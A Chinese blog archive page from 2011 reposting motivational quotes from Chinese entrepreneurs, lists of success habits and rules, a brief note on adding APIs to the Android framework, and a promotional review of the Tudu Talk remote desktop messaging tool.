     摘要: [转] 一堂价值39万元的课,把它看完,你一定会有收获的 如果你能认真看完这篇文章,你真的会收获很多,虽然你不会像身历其境一样得到课 程的内容,但如果你懂得思考,你真的会有很打的收获!     幸福是自己去争取的,不管是友情或爱情很多事情,错过了就没有了,所以如果你没有 认真看完这篇文章,以后你就没有了! &...  阅读全文
posted @ 2011-12-17 14:07 MEYE 阅读(576) | 评论 (0)编辑 收藏
[转] 俞敏洪+马云+牛根生+史玉柱 不看会一辈子失败

俞敏洪经典语录:
1.女人如果因为觉得一个男生帅就跟嫁给他,这是好色;男生因为女生漂亮而娶她,是审美。
2.为什么你不要自傲和自卑?
你可以说自己是最好的,但不能说自己是全校最好的、全北京最好的、全国最好的、全世界最好的,所以你不必自傲;同样,你可以说自己是班级最差的,但你能证明自己是全校最差的吗?能证明自己是全国最差的吗?所以不必自卑。
3.年纪大了,人们看重不再是外表,不是你帅不帅,而是看你的内心的魅力:你的气魄、气概。
4.这个世界上有很多天才,天才是用来欣赏的,不是用来攀比的。
5.你说我是猪,不对,其实我连猪都不如。
很多人失去了快乐,是因为他太敏感了。别人一句话、一个评论就使自己生气一个月。这时非常无聊的。严重了就成了马家爵,因为别人不请自己吃饭就郁闷地要杀人。
6.要每天多努力一些,比别人多努力一个小时。
7.使这个世界灿烂的不是阳光,而是女生的微笑。
8. 要引人敬意,就要研究一个非常专业的领域,在那个领域中,你是最顶尖的,至少是中国钱10名,这样无论任何时候你都有话说,有事情可作。我俞敏洪原来想成为中国研究英语的前100名,但后来发现根本不可能。所以我就背单词,用1年的时间背诵了一本英文词典,成为中国单词专家,现在我出版的红宝书系列:从初中到GRE词汇有十几本,年销量100万册,稿费比我正式工作都高的多。
9.大学生应该做的事情是:
(1)专业方面,成为中国前100名;
(2)人文方面,读500本书。
(3)英语。
10.如果你要引人注目,就要使得自己成为一棵树,傲立于大地之间;而不是做一颗草,你见过谁踩了一棵草,还抱歉地对草说:对不起?
11.学英语好比学鸟叫,你在树林里学鸟叫,当有四只鸟落在你肩上时,说明你过了英语四级,当有六只鸟落在你肩上时,说明你过了英语六级,当有许多鸟落在你肩上,说明你成了鸟人。
12.女人的温柔和男人的成就是成正比的。
13、俞敏洪在《赢在中国》点评语录
蜗牛的壳是自己加上的。
既靠天,也靠地,还靠自己。
心平气和地接受失败。
做人要大方、大气,不放弃!
世界上没有绝对的公平,公平只在一个点上。
心中平,世界才会平。
学会给别人机会。
名次和荣誉,就像天上的云,不能躺进去,躺进去就跌下来了。名次和荣誉其实是道美丽的风景,只能欣赏。
只要出于同情心和面子做的事,几乎都会失败。
每条河流都有一个梦想:奔向大海。长江、黄河都奔向了大海,方式不一样。长江劈山开路,黄河迂回曲折,轨迹不一样。但都有一种水的精神。水在奔流的过程中,如果沉淀于泥沙,就永远见不到阳光了。
14、俞敏洪:人要像树一样活着
于《赢在中国》第三赛季36进12现场演讲
人的生活方式有两种,
第一种方式是像草一样活着,
你尽管活着,每年还在成长,
但是你毕竟是一棵草,
你吸收雨露阳光,
但是长不大。
人们可以踩过你,
但是人们不会因为你的痛苦,而他产生痛苦;
人们不会因为你被踩了,而来怜悯你,
因为人们本身就没有看到你。
所以我们每一个人,
都应该像树一样的成长,
即使我们现在什么都不是,
但是只要你有树的种子,
即使你被踩到泥土中间,
你依然能够吸收泥土的养分,
自己成长起来。
当你长成参天大树以后,
遥远的地方,人们就能看到你;
走近你,你能给人一片绿色。
活着是美丽的风景,
死了依然是栋梁之才,
活着死了都有用。
这就是我们每一个同学做人的标准和成长的标准。
马云经典语录:

1.当你成功的时候,你说的所有话都是真理。
2.我永远相信只要永不放弃,我们还是有机会的。最后,我们还是坚信一点,这世界上只要有梦想,只要不断努力,只要不断学习,不管你长得如何,不管是这样,还是那样,男人的长相往往和他的的才华成反比。今天很残酷,明天更残酷,后天很美好,但绝对大部分是死在明天晚上,所以每个人不要放弃今天。
3.孙正义跟我有同一个观点,一个方案是一流的Idea加三流的实施;另外一个方案,一流的实施加三流的Idea,哪个好?我们俩同时选择一流的实施,三流的Idea。
4.我既要扔鞭炮,又要扔炸弹。扔鞭炮是为了吸引别人的注意,迷惑敌人;扔炸弹才是我真正的目的。不过,我可不会告诉你我什么时候扔鞭炮,什么时候扔炸弹。游戏就是要虚虚实实,这样才开心。如果你在游戏中感到很痛苦,那说明你的玩法选错了。
5.“其实,有的时候人的最大问题就在于他说的都是对的” 。
6.那些私下忠告我们,指出我们错误的人,才是真正的朋友。
7.我生平最高兴的,就是我答应帮助人家去做的事,自己不仅是完成了,而且比他们要求的做得更好,当完成这些信诺时,那种兴奋的感觉是难以形容的……
8.注重自己的名声,努力工作、与人为善、遵守诺言,这样对你们的事业非常有帮助。
9. 商业合作必须有三大前提:一是双方必须有可以合作的利益,二是必须有可以合作的意愿,三是双方必须有共享共荣的打算。此三者缺一不可。
10.服务是全世界最贵的产品,所以最佳的服务就是不要服务,最好的服务就是不需要服务.
11.永远不要跟别人比幸运,我从来没想过我比别人幸运,我也许比他们更有毅力,在最困难的时候,他们熬不住了,我可以多熬一秒钟、两秒钟。
12.今天到北大演讲心里特别激动。我一直把北大的学子当做我的偶像,一直考却考不进,所以我想如果有一天我一定要到北大当老师。
13.看见10只兔子,你到底抓哪一只?有些人一会儿抓这个兔子,一会儿抓那个兔子,最后可能一只也抓不住。CEO的主要任务不是寻找机会而是对机会说NO。机会太多,只能抓一个。我只能抓一只兔子,抓多了,什么都会丢掉.
14.我们公司是每半年一次评估,评下来,虽然你的工作很努力,也很出色,但你就是最后一个,非常对不起,你就得离开。
15.我们与竞争对手最大的区别就是我们知道他们要做什么,而他们不知道我们想做什么。我们想做什么,没有必要让所有人知道。
16.网络上面就一句话,光脚的永远不怕穿鞋的。
17.中国电子商务的人必须要站起来走路,而不是老是手拉手,老是手拉着手要完蛋。我是说阿里巴巴发现了金矿,那我们绝对不自己去挖,我们希望别人去挖,他挖了金矿给我一块就可以了。
18.我深信不疑我们的模式会赚钱的,亚马逊是世界上最长的河,8848是世界上最高的山,阿里巴巴是世界上最富有的宝藏。一个好的企业靠输血是活不久的,关键是自己造血。
19.我为什么能活下来?第一是由于我没有钱,第二是我对INTERNET一点不懂,第三是我想得像傻瓜一样。
20.发令枪一响,你是没时间看你的对手是怎么跑的。只有明天是我们的竞争对手。
21.如果早起的那只鸟没有吃到虫子,那就会被别的鸟吃掉。
22.听说过捕龙虾富的,没听说过捕鲸富的。
23.好的东西往往都是很难描述的。
24.在我看来有三种人,生意人:创造钱;商人:有所为,有所不为。企业家:为社会承担责任。企业家应该为社会创造环境。企业家必须要有创新的精神。
25.一个公司在两种情况下最容易犯错误,第一是有太多的钱的时候,第二是面对太多的机会,一个CEO看到的不应该是机会,因为机会无处不在,一个CEO更应该看到灾难,并把灾难扼杀在摇篮里。

牛根生经典语录:

1.小胜凭智,大胜靠德。
2.有干劲,你就洒下汗水;有知识,你就献出智慧;二者都不具备,请你让出岗位。
3.城市多喝一杯奶,农村致富一家人。
4.财散人聚,财聚人散。
5.一个产品,抓眼球,揪耳朵,都不如暖人心。
6.一个人智力有问题,是次品;一个人的灵魂有问题,就是危险品。经营人心就是经营事业。
7.好心态才有好状态。
8.帮助别人,但不伤害别人。
9.要想知道,打个颠倒。
10.从无到有,是件快乐的事。而从有到无,同样是种快感。
11.产品市场是亿万公民,资本市场是千万股民,原料市场是百万农民。
12.让认识你的人受益,还不能算好;让不认识你的人也受益,那才是真好。
13.吃亏吃到再也吃不进的时候,就不会吃亏了。苦多了,甜就大了。
14.想赢个三回两回,三年五年,有点智商就行;想做个百年老店,想一辈子赢,没有德商绝对不行。
15.学得辛苦,做得舒服;学得舒服,做得辛苦。
16.产品等于人品,质量就是生命。
17.看别人不顺眼,首先是自己修养不够。
18.从最不满意的客户身上,学到的东西最多。
19.管理是严肃的爱。
20.经营企业就是经营人心。
21.人不能把金钱带入坟墓,但金钱却可以把人带入坟墓。
22.一个人快乐不是因为他拥有得多,而是因为计较得少。
23.一个事业能不能成功,关键靠制度设计。
24.别人从零起步,而我从负数起步。
25.听不到奉承的人是一种幸运,听不到批评的人却是一种危险。
26.善待每一头牛,因为它们都是母亲。
27.布局决定结局。
28.世界上还有很多事情,只要你把它做透了,做成专家,你就能够为自己创造成功的机会。
29.会说话的产品卖得快,哑巴产品走得慢。
30.你如果拿五分的力量跟别人较劲,别人会拿出十二分的力量跟你较劲。

史玉柱经典语录:


1.90%的困难你现在想都没有想到,你都不知道那是困难。
2。团队核心成员有人要提出辞职时,不要挽留,既然提出了,他迟早是要走的。
3。如果没有价格上的优势与技术上的绝对优势,千万不要进入红海市场,否则你会必输无疑!
4。做连锁经营业务,一定要做一套傻瓜版的营销手册与管理手册,只有这样,才能实现远距离的管理。
5。做成功一个店之后离你大的成功就不远了,所以你首先就是脚踏实地、集中精力地先做出一家,也是要放弃掉连锁的这种,不要在将来如何做连锁方面做太多的梦,先脚踏实地做出第一家。
6。做全国性市场,一定要先做一个试销市场,要一点点来,快不得;做成了,真到做全国市场时,要快半步,慢不得!
7。初中水平跟博士后没啥区别。只要能干就行,我一直是这个观点,不在乎学历,只要能干能做出贡献就行。
8。作为我们曾经失败过,至少有过失败经历的人,应该经常从里面学点东西。人在成功的时候是学不到东西的,人在顺境的时候,在成功的时候,沉不下心来,总结的东西自然是很虚的东西。只有失败的时候,总结的教训才是深刻的,才是真的。
9.对过去成功的经验再好好总结总结,尤其是对失败的教训,下半夜夜深人静的时候你仔细想一想。反正睡觉也想,想一想实际上对你有很大收获比你看书更有用。因为有的书离你远,那是看自己过去写的东西。
10。最痛苦的时候,压力最大的时候,脑子里面只有一件事儿的时候,我把全国分公司经理招到荒山脚下北大门那个地方,招待所里面,然后在那个地方闭门开批判会。大家批判我,批判了三天三夜,我觉得那个就很有用。
11。要改变消费者固有的想法,比登太阳还难;但不是不可能的。
12。现在的时代,战略正确之后细节决定因素,有很多细节处理不好,你的战略正确了也会失败。
13。不要只看塔尖,二三线市场比一线的更大。
14。管理无情,人有情。
15。所谓人才,就是你交给他一件事情,他做成了;你再交给他一件事情,他又做成了。
posted @ 2011-12-17 14:03 MEYE 阅读(489) | 评论 (0)编辑 收藏
习惯--成大事者必备十二种良好习惯(1)
第一种习惯          争分夺秒:学会和时间赛跑
第二种习惯          敏而善思:用思想改变人生,感想才能敢干,会想才能巧成 
第三种习惯          行动之上:心动不如行动,永不停止、时刻追求进步
第四种习惯          勤奋俭朴:储蓄是成功的助手,养成节俭的习惯(世界首富排行榜上的很多数人都有节俭的习惯)
第五种习惯          积极学习:每天抽出十五分钟时间读书,书籍是人类进步的阶梯。你不学习就落后,因为别人在进步。如同逆水行舟不进则退
第六种习惯          健康快乐:健康是生命之源,学会控制坏情绪,生活不是缺少美,而是缺少发现
第七种习惯          诚实守信:品质的魅力高于一切,诚信是经商的基础,是一笔宝贵的财富,
                            是人生存在的重要条件
第八种习惯          宽容忍让:容忍的力量是无穷的,是成大事者必备的品格
第九种习惯          乐观自信:完美人生强大支点
                           永远只看事物的光明面,微笑的生活人们都喜欢与乐观的人相处,希望
                           他们的喜乐感染自己。乐观者把挫折视为机会,他们把这种健康向上的
                           心态向四周传播。
第十种习惯          持之以恒:度过一切难关的保障
                           度过一切难关的保障,成败之间往往只差一点,让你无往而不胜,
                           毅力是成功的保证,永不言败
第十一种习惯        坚决果断:养成决断习惯的良策,不要被他人意见左右
第十二种习惯        团结合作:双赢生于单赢
 
 
成大事者必备的十二种良好习惯
 
 
第一种习惯  争分夺秒:学会和时间赛跑
一.时间就是生命: 
    时间不能储存,不能倒转。它比金钱宝贵,时间是构成生命的基本单位。时间是用来衡量的,善用时间就是珍惜生命。如果你热爱自己的生命,你就珍惜时间吧。
    你一天的价值是一百元,上午你去娱乐,或躺在沙发上磨了半天,不要以为你损失了五十元,请记住:钱能生钱。好比你杀死一头产在的猪,不仅是一头猪,还有他所有的子孙后代。你毁掉了五十元,也就毁掉了它所产生的一切,也许是一座美元之山。
二.时间创造价值
爱默生曾说过:“你若是爱永恒,就应当爱现在。昨日不能换回,明天还不存在,你能确实把握的只有现在。”
杰明·弗兰克林的书店,一名男子徘徊很久,问:“这本书多少钱?”“1美元”“弗兰克林在吗?我要见他。”弗兰克林正在忙于印刷工作,当他被叫出来后告诉他1.25美元,客人很诧异,刚刚你的店员告诉我只要一美元,怎么会这样呢?弗兰克林说:“没错,可你耽误我时间比一美元要大得多,”那人又说道:“哪这本书最低要多少钱呢?”“1.5美元”“天哪!你刚刚不是说要1。25美元吗?”“没错,”弗兰克林冷静地说:“你现在耽误我的时间远远大于1。5美元。”这个男子默不作声地把钱放在柜台上拿着书离开了书店。
三.你的时间为何总是被偷走
    窃取时间的“大盗”就潜伏在我们身边——它总是在你不留意的瞬间出击,偷走你的那些宝贵时间。
    你的性格决定“大盗”的光顾
1.  迟疑不决的人:如果你是一个做事思前想后,犹豫不决的人,那你想一想此役的结果是浪费了时间又加大了工作压力?改掉这个毛病不是一朝一夕的事情,可悲的是有很多人并不知道自己有这种坏习惯。
2.  完美主义者:完美主义者并不令人尊敬,这种性格也并非高人一等。因为这世间本没有完美的事情,而且要求完美经常导致沮丧以及对工作的不满足。
你最好将时间花在如何准确高效地完成工作上,而不是浪费在不必要的细节修饰上。
3.  不会拒绝别人:非常不幸的事,经常有一些人习惯于将自己的工作推给别人,如果你太软弱没有说不得习惯,你将花大量时间去完成别人的工作,这种状况会影响你的心理健康因为唯唯诺诺的人总是感到愤怒、迷惑、被利用,更糟的是连他们也不知道为什么自己会变成这样。
如果你没有以上三种情况尝试下列做法,捉拿时间“大盗。”
1.  保持重点:一次只做一件事情,一个时期只有一个重点。学会抓住重点远离琐碎。
2.  二八定律:百分之八十的利益是由百分之二十的人完成的。
3.  格式化;借助电脑完成工作。
4.  立即行动:许多人习惯“等候好情绪”花费很多时间“进入状态,”请记住:栽第一棵树的最佳时间时20年前,第二个最佳时间是现在。
5.  立即离开:不要被无聊的人缠住,也不要再不必要的地方逗留太久。
6.  避开高峰:如乘车、购物、进餐等等
7.  巧用电话:直奔主题,不要在电话里说一些无关紧要的或不相关的信息。
8.  成本观念:生活中常有的“一分钱智慧,几小时愚蠢,”为省块八角的步行三站地,为节约几毛钱排队购物等等。
9.  精选朋友:多而无益的朋友是有害的,他们浪费你的时间金钱、精力和感情,甚至会危及你的事业,要和有时间观念的任何公司来往。
10.              避免争论:无为的争论不仅影响情绪和人际关系,还会浪费大量时间,往往解决不了问题。说得越多做得越少。
11.              积极休闲:不同的休闲会带来不同的结果。积极的休闲有利于身心的放松、精神的陶冶和人际的交流
12.              集腋成裘(求):零碎的时间可以利用起来,等车时间看报纸、思考问题、背单词。
13.              提前休息:在疲劳之前休息片刻,既避免了因过度疲劳导致的超时休息,又可使自己始终保持较好的竞技状态,从而大大提高工作效率。
14.              搁置的哲学;如足球左路打不开,攻右路。解决不来的问题记在心里,由潜意识去解决,不要转牛角尖。
四.做计划是珍惜时间的有效途径
    做出计划不仅能赢得工作的时间,与家人团聚的时间,还可以改变自己的生活方式。让自己的人生更有意义。可以日、周、月、年为单位计划你的人生。
五.掌握时间管理的法则
    在世间管理上,要兼顾长远性与急迫性,要高度重视对眼前虽不紧急但有深远影响的事物的处理。 
    (一)优先重要法则:
    将要做的事情分类,如:A类、B类、C类,A类为自己必做的,B类为请他人代做的事情,C类是不必做的事。A类中又可以分为A1、A2、A3等各种级别。
    (二)长远重要法则
    既要强调优先重要,又要强调长远重要。也就是一些不紧迫却重要长远的事,如锻炼身体。既要兼顾长远性与急迫性,又要重视眼前不紧急但有深远影响的事。
    (三)一举两得法则
    一举两得、一石多鸟,国外有名的“超级学习法”就是在睡觉时收听外语录音,效果很好。睡前给自己下达指令,睡醒后难题往往都能找到答案,这叫“一遍睡觉一遍成功”
    (四)标本兼治法则 
    如果没有积极兴奋的情绪,掌握多少时间的管理法则技巧也无济于事,当你产生了厌倦怠惰的情绪时必须及时除掉这些情绪的垃圾,否则时间必遭浪费。
    (五)打破时间管理的瓶颈   
    如果你是一个高级经理,想找出瓶颈所在,就立即将你的办公桌上待处理的卷宗待办事项表处理好,尽快把桌上的文件处理到别人的桌子上,效率会提高。
六.珍惜时间存在的误区
    有一些人总以为珍惜时间就是把每一分钟、每一秒钟都用于工作上,因为害怕浪费时间,总是来也匆匆,去也匆匆,心急火燎,结果却适得其反。
误区一:欲速则不达
   有紧急意识并不错,急可以让大脑动得快一些,但过于着急却是头脑无法正常运转。这个时候,你需要平静自己的心情,经过客观冷静分析判断之后,才能保证速度又保证质量。
误区二:无事瞎忙,有事乱忙
    没有计划的人,在没制定好计划的条件下,因急于求成,所以莽撞地开始了行动。结果,这种无顺序前计划的行动把事情搞乱,越乱越遭,想成功太困难了。
误区三:工作狂
    这种人把工作看成生活的全部内容,目光仅停留在如何完成工作上,对其他的事务中是不屑一顾,目光的短浅和停滞使他们看不到周围情况的变化,看不到事情的发展,看不到时机的来临,也看不到萋萋的危险。一旦事情发生变化,则使他们来不及防备,或错失良机。工作狂的敬业精神可嘉,然而,忽略了家庭朋友等人生其他美好的东西则太可惜了,适当兼顾,人生会变得更加美好。
误区四:只作计划
    完没主义者将计划作的特别精确细致,唯恐出现一点失误,做事追求尽善尽美。江日程表安排得满满的,没有一点空隙从不留下一点应付意外事件的缓冲时间,所以一旦事情发生变化,则往往措手不及。
    敏而善思:用思想改变人生,感想才能敢干,会想才能巧成
 
 
第二种习惯        
 

一个人如果缺少创新思维,他注定平庸永远成不了大事。
例一:网络神话靠创新而成
    现在是网络时代,人们的生活时刻都离不开网络。也造就了一批亿万富翁,网易的CEO丁磊就是其中的一个。他不到而立之年就拥有公司六成多的股份。他一手缔造了网易在中国网络界不可动摇的地位,也造就了中国因特网经济时代个人致富的神话,他传版的网易公司短短数载,价值就达到了四亿人民币。 
    丁磊凭借自己在编写软件方面的天赋,大学毕业第一年赚了一百万,又凭借自己敏锐的洞察力率先进入因特网,以一连串的免费行动让因特网在中国逐渐火爆起来。他无疑是技术方面的天才,他牢牢掌握网易的发展方向,使网易始终走在世界的前面,从1979年成立伊始倒1998年初,网易没有赚到一分钱。因为所有的钱都投资开发软件上面了,把开发软件卖掉,然后再进行公司的扩张,由于缺少足够的资金和帮助,只能靠开发软件赚钱扩大公司。丁磊在谈到成长的过程中说:“网易的成长没有得到任何帮助,没有人会贷款给一家网络公司。”
例二:不断创新使他成为董事长
    北京赛特集团董事长兼总裁杨壮椎管狭窄,腰腿不便,但他酷爱登山,他说不到山顶就不是爬山。他于1991年做赛特总经理的,但是赛特负债3000万,濒临破产,员工人浮于事,他接过这个“烂摊子”,不仅没有放弃,还不断对公司进行改革,对管理经营管理、员工的积极性方面做了大的改进,而且在制度方面不断推陈出新。管理方面他追求中西合璧,取其精华为己所用借鉴外国的先进经验,保持中国的优良传统,更重要的是不断创新,这是塞特集团的业绩蒸蒸日上关键。
杨壮认为塞特的成功重要的一点是超前意识和创新意识。
 



习惯--成大事者必备十二种良好习惯(2)

第三种习惯         行动至上:千里之行始于足下

一、行动的意义。

如果你想寻找快乐,如果你想开发潜能,如果你想获得成功,就必须积极行动,科不已经证明,人的潜能是可以开发利用的。行动,潜能就会开发;不行动,潜能就会被埋没。

二、永不停止时刻追求进步。

一个积极的成功者的特征,就是他能永不停止随时随地的追求进步。

三、立刻行动的魔力。

克服任何一种恐惧,最好的办法就是“立刻去做”。

四、心动不如行动。

心动不如行动。希望什么,就主动去争取,去促成它的发生。不要为自己寻找借口,要从今天开始,从现在开始。如果有了目标,需要的就是马上行动。固执于细节,你将一事无成。

五、今天的事情今天做。

如果你时时想到“现在”,就会完成许多事情;如果说你常想着还有明天或将来,那就一事无成。

六、勇敢去尝试。

如果你不支尝试,你将永远不知道你能做些什么。的确,尝试是成功的秘诀。

七、怎样提高自己的“行动能力”。

不管你是经营事业、推销产品、研究科学或是在公司任职,各行各业中,成功的必要条件都包括“行动的能力”,也就是做一个积极主动的人。

八、扫清持续行动的障碍。

行动贵在坚持,半途而废意味着放弃成功。坚持不懈是意志顽强的表现,为什么大部分人不能坚持到最后呢?那是因为他们没有扫清持续行动的障碍。我们应该做好面对困难的准备,坚持走自已的路。

第四种习惯         勤奋俭朴:汗水浇灌成功之花

一、成功的人都有勤奋的好习惯

世上成功之事,缺了勤奋就会变得不易实现,如果有了勤奋,成功也就不会太难了。一个人要勤奋,就要忌“懒”,忌“惰”。

二、养成节俭的习惯

一个年轻人可能会有很多朋友,但他会发现没有永远的、不变的朋友,他们随时准备向他提出要求,而节俭却是不断推动他向前的朋友,它使人独立,它使年轻人有立足之地,它使他充满活力,它使他受到恰当的激励。

三、节俭是成功的美德

节俭意味着科学地管理自己的时间与金钱,意味着最明智地利用我们一生所拥有的资源。

四、储蓄是成功的助手

机会到处都会出现,但只能提供给那些手中有余钱的人,或是那些已经养成储蓄习惯,而且懂得运用金钱的人,因为他们在养成储蓄习惯的同时,还培养出了其他一些良好的品德。







posted @ 2011-12-17 13:33 MEYE 阅读(545) | 评论 (0)编辑 收藏
35岁之前成功的12条法则

一、一个目标 

一艘没有航行目标的船,任何方向的风都是逆风

1
、你为什么是穷人,第一点就是你没有立下成为富人的目标 

2
、你的人生核心目标是什么? 

杰出人士与平庸之辈的根本差别并不是天赋、机遇,而在于有无目标。 

3
、起跑领先一步,人生领先一大步:成功从选定目标开始 

4
、贾金斯式的人永远不会成功 

为什么大多数人没有成功?真正能完成自己计划的人只有5%,大多数人不是将自己的目标舍弃,就是沦为缺乏行动的空想 

5
、如果你想在35岁以前成功,你一定在2530岁之间确立好你的人生目标 

6
、每日、每月、每年都要问自己:我是否达到了自己定下的目标 

二、两个成功基点 

站好位置,调正心态,努力冲刺,35岁以前成功 

(
)人生定位 

1
、人怕入错行:你的核心竞争力是什么? 

2
、成功者找方法,失败者找借口 

3
、从三百六十行中选择你的最爱 

人人都可以创业,但却不是人人都能创业成功 

4
、寻找自己的黄金宝地 

(
)永恒的真理:心态决定命运,35岁以前的心态决定你一生的命运 

1
、不满现状的人才能成为富翁 

2
、敢于梦想,勇于梦想,这个世界永远属于追梦的人 

3
 35岁以前不要怕,35岁以后不要悔 

4
、出身贫民,并非一辈子是贫民,只要你永远保持那颗进取的心。中国成功人士大多来自小地方 

5
、做一个积极的思维者 

6
、不要败给悲观的自己 

有的人比你富有一千倍,他们也会比你聪明一千倍么?不会,他们只是年轻时心气比你高一千倍。 

人生的好多次失败,最后并不是败给别人,而是败给了悲观的自己。 

7
、成功者不过是爬起来比倒下去多一次 

8
、宁可去碰壁,也不要在家里面壁 

克服你的失败、消极的心态 

(1)
找个地方喝点酒 

(2)
找个迪厅跳跳舞 

(3)
找帮朋友侃侃山 

(4)
积极行动起来 

三:三大技巧 

1
、管理时间:你的时间在哪里,你的成就就在哪里。 

把一小时看成60分钟的人,比看作一小时的人多60 

2
、你不理财,财不理你 

3
、自我管理,游刃有余 

(1)
创业不怕本小,脑子一定要好 

(2)
可以开家特色店 

(3)
做别人不愿做的生意 

四:四项安身立命的理念 

35
岁以前一定要形成个人风格 

1
、做人优于做事 

做事失败可以重来,做人失败却不能重来 

(1)
做人要讲义气 

(2)
永不气馁 

2
、豁达的男人有财运,豁达的女人有帮夫运 

35
岁以前搞定婚姻生活 

3
、忠诚的原则:35岁以前你还没有建立起忠诚美誉,这一缺点将要困扰你的一生 

4
、把小事做细,但不要耍小聪明 

中国人想做大事的人太多,而愿把小事做完美的人太少 

五:五分运气 

比尔·盖茨说:人生是不公平的,习惯去接受它吧 

1
、人生的确有很多运气的成人:谋事在人,成事在天:中国的古训说明各占一半 

2
、机会时常意外地降临,但属于那些决不放弃的人 

3
、抓住人生的每一次机会 

机会就像一只小鸟,如果你不抓住,它就会飞得无影无踪 

4
、智者早一步,愚者晚一步 

六:六项要求 

1
、智慧 

(1)
别人可你以拿走你的一切,但拿不走你的智慧 

(2)
巧妙运用自己的智慧 

(3)
智者与愚者的区别 

2
、勇气 

(1)
勇气的力量有时会让你成为超人” 

(2)
敢于放弃,敢于舍得” 

3
、培养自己的领导才能、领袖气质” 

(1)
激情感染别人 

(2)“
·七法则实现领袖气质 

(3)
拍板决断能力 

(4)
人格魅力 

4
、创造性:不要做循规蹈矩的人 

25-35
岁是人生最有创造性的阶段,很多成功人士也都产生在这一阶段 

5
、明智 

(1)
知道自己的长处、短处,定向聚焦 

(2)
尽量在自己的熟悉的领域努力 

6
、持之以恒的行动力:在你选定行业坚持十年,你一定会成为大赢家 

七:七分学习 

1
、知识改变命运 

2
35岁以前学会你行业中必要的一切知识 

a)
每天淘汰你自己 

b)
在商言商 

3
、太相信的书人,只能成为打工仔 

4
、思考、实践、再思考、再实践 

.八分交际 

朋友多了路好走 

1
、智商很重要,情商更重要:35岁以前建立起人际关系网 

2
、人脉即财脉:如何搞好人际关系 

3
、交友有原则 

4
、善于沟通:35岁以前要锻炼出自己的演讲才能 

九:九分习惯 

习惯的力量是惊人的,35岁以前养成的习惯决定着你的成功的大小 

1
、积极思维的好习惯 

2
、养成高效工作的好习惯 

(1)
办公室 

(2)
生活可以不拘小节,但要把工作做细 

(3)
学习聆听,不打断别人说话 

3
、养成锻炼身体的好习惯 

4
、广泛爱好的好习惯 

5
、快速行动的好习惯 

十:十分自信 

1
、自信是成功的精神支柱 

2
、自信方能赢得别人的信任 

3
、把自信建立在创造价值的基础上 

4
、如何建立自信 

(1)
为自己确立目标 

(2)
发挥自己的长处 

(3)
做事要有计划 

(4)
做事不拖拉 

(5)
轻易不要放弃 

(6)
学会自我激励 

(7)
不要让自己成为别人

 

十一: 11个需要避开的成功陷阱 

1
、只有功劳,没有苦劳 

2
、不要怀才不遇,而要寻找机遇 

3
、不要想发横财 

4
、不要为钱而工作,而让钱为你工作 

5
、盲目跟风,人云亦云,人做我也做 

6
、小富即安,不思进取,知足常乐 

7
、承认错误而非掩饰错误 

8
、脚踏实地而非想入非非 

9
、野心太大而不是信心十足 

10
、反复跳槽不可取 

11
、眼高手低 

12
、不择手段 

十二:十二分努力 

没有人能随随便便成功 

1
、小不是成功,大不是成功,由小变大才是成功 

2
、中国社会进入微利时代:巧干+敢干+实干=成功 

3
、努力尝试就有成功的可能 

4
、做任何事情,尽最大努力 

5
、把事情当成事业来做 

6
、我看打工者 

7
、祝你早日掘到第一桶金 

 

posted @ 2011-12-17 13:08 MEYE 阅读(485) | 评论 (0)编辑 收藏

如何向android的framework里添加新API

http://yueguc.iteye.com/blog/806730


google对于所有的类和API,分为开放式和不开放式两种。所谓的开放式就是javadoc所包含的,并不是java中有public和private,而是跟javadoc有关系,代码没有关系。
在开放式的类中增加了一个变量,而又没隐藏,导致和原API的doc不一致造成的就会有错。
通过提示,有2个方法可以解决  该问题:
1、将新增加的变量或方法加上"@hide" 的注释,注意一点,加"@hide" 不是简简单单的/*@hide */就行了,标准的javadoc要这样 /**  */ 而且对于 format 变量 应该加上 {  },也就是/**{@hide}*/
2、如果想在生成的doc中增加该变量或方法的话,必须输入:
make update-api
这样的话,系统  自动  将新增加的API添加到current.xml中了。


所以如果要加方法就是按上面的方法加。

如 果需要加进新的类 这时候又分2种  一种是原有的包下面加类 这个最简单 加完之后直接make update-api就好了 还有一种是加在framework/base下面 这个时候你make update-api是不会在current。xml里生成你的类的。 看了Android。mk才知道 原来需要修改android源码根目录下的build/core/pathmap.mk把你的目录加进去。然后就好了。

posted @ 2011-12-08 21:34 MEYE 阅读(858) | 评论 (0)编辑 收藏

图度Talk:只要五秒,秒杀街边的各类远程桌面软

http://www.linuxren.net/news/120R632010.html

五秒钟什么概念!让你瞬间打开世界上任何地点的主机的远程桌面。如果你用过VNC、teamview、微软RDP(远程桌面)、logmein、QQ远程协助等等,你就知道五秒钟意味着什么了,而且还是基于穿透内网主机的远程桌面,对于图度Talk来说哪些神马远程桌面软件都是浮云。废话少说,先说下图度Talk是啥东东….

图度Talk是一个基于图度在线工作管理系统上使用的一款IM聊天工具,远程协助采用了还未发布的向日葵3.0的急速远程桌面协议(www.sunlogin.com),通过远程协助帮助远端同事、朋友解决PC使用中所遇到的各类问题。

下载—图度talk五秒钟版(1.0正式版)地址http://www.tudu.com/tudutalk_1.0final.exe,各位千万注意了,这个要配套图度系统使用的,所有的账户都是由你自主建立的,完全你说了算。开通图度系统可以到www.tudu.com申请开通,现在开通除了可以拿到一个很好的三级域名yourname.tudu.com域名,还将获得18个用户的图度商业版的永久免费使用权。

说了白说,无图无真相,上图。

图度Talk:只要五秒,秒杀街边的各类远程桌面软件 - 迷离的红豆 - 迷离的红豆的博客

安装:没什么好说,针对现在免费软件安装包的特点,最大的优点是纯洁无暇,安装过程中没有任何地方忽悠你装垃圾插件。这个logo采用四色,包含了三原色,代表了沟通和融合,比较贴切协同IM的定位。 内容来自Linuxren.net

图度Talk:只要五秒,秒杀街边的各类远程桌面软件 - 迷离的红豆 - 迷离的红豆的博客

主界面:市面上大部分能找到的功能基本都有,换肤、透明层、签名、自定义头像、天气预报等,几个亮点支持多国语言(简、繁、英)、显示列表可以定义直板排列(gtalk样式,我喜欢)或分组排列(QQ样式),由于是协同工作用IM,可以自定义登录页面logo、查看组织构架和相关的联系人各类信息等。界面风格你喜欢不喜欢,俺说了不算,俺的评价就是简单实用而不失个性,布局结构方面有自己独特的地方,不会直接让你联想到某一款IM软件。 内容来自Linuxren.net

图度Talk:只要五秒,秒杀街边的各类远程桌面软件 - 迷离的红豆 - 迷离的红豆的博客

